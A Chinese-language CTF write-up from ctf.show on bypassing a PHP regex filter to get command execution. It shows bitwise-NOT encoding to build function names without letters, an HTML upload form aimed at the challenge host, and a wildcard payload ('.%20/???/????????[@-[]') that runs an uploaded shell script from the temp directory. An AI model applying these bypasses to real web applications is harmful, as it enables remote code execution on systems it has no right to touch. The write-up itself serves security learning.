命令执行 - 突破shell命令的过滤限制
在PHP7下面,允许我们使用($a)();
这样的方法来执行动态函数,因此在左边括号里可以替换我们的函数名
关于不可见字符的利用,存在一些无法在浏览器和页面正常显示的字符,能够拿来取反得到正常的[a-Z]的字母
<?php echo urldecode('%8F%97%8F%96%91%99%90'); echo "\n"; echo ~(urldecode('%8F%97%8F%96%91%99%90')); echo "\n"; echo urlencode(~('phpinfo')); ?>
如何利用无字母、数字、$
的系统命令来组成命令,突破过滤,这里参考了P神的博客:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
以及另外一个大佬的博客:https://www.cnblogs.com/NPFS/p/13797436.html
shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
由于题目不能直接POST文件,需要我们自己编写一个可以POST php文件的网页,参考大佬:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST文件上传</title> </head> <body> <form action="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
在编写PHP文件前,我们要了解shell文件的结构
参考:https://blog.csdn.net/qq_36501591/article/details/87363747
#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
一个shell脚本大致这样写,命令写第二行:
#!/bin/sh
ls
文件后缀名.php
如何利用上传的文件执行命令,首先上传的文件会被保存在一个临时文件中
其次我们可以用通配符来猜测(匹配)这个临时文件夹的名称,使用?是最有效的。
还有临时文件肯定不止我们上传的这一个,我们要精确找到该文件就需要了解上次的文件,是保存在结尾有大写字母的临时文件里面,且唯一
思路想明白以后,就能构造正确的payload
如果想执行文件,通过GET或者POST传的参数部分就需要按以下格式:
. file
注意存在空格,意思是使用bash命令执行file文件中的命令
因此大佬构造了payload
.%20/???/????????[@-[]
传参以后能够执行我们上传的shell脚本,有时候也存在生成临时文件不是大写字母结尾的情况,需要多试几次
例题:
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
提前开启BP拦截包,改包后send,文件上传的同一时刻执行ls命令
同理得到flag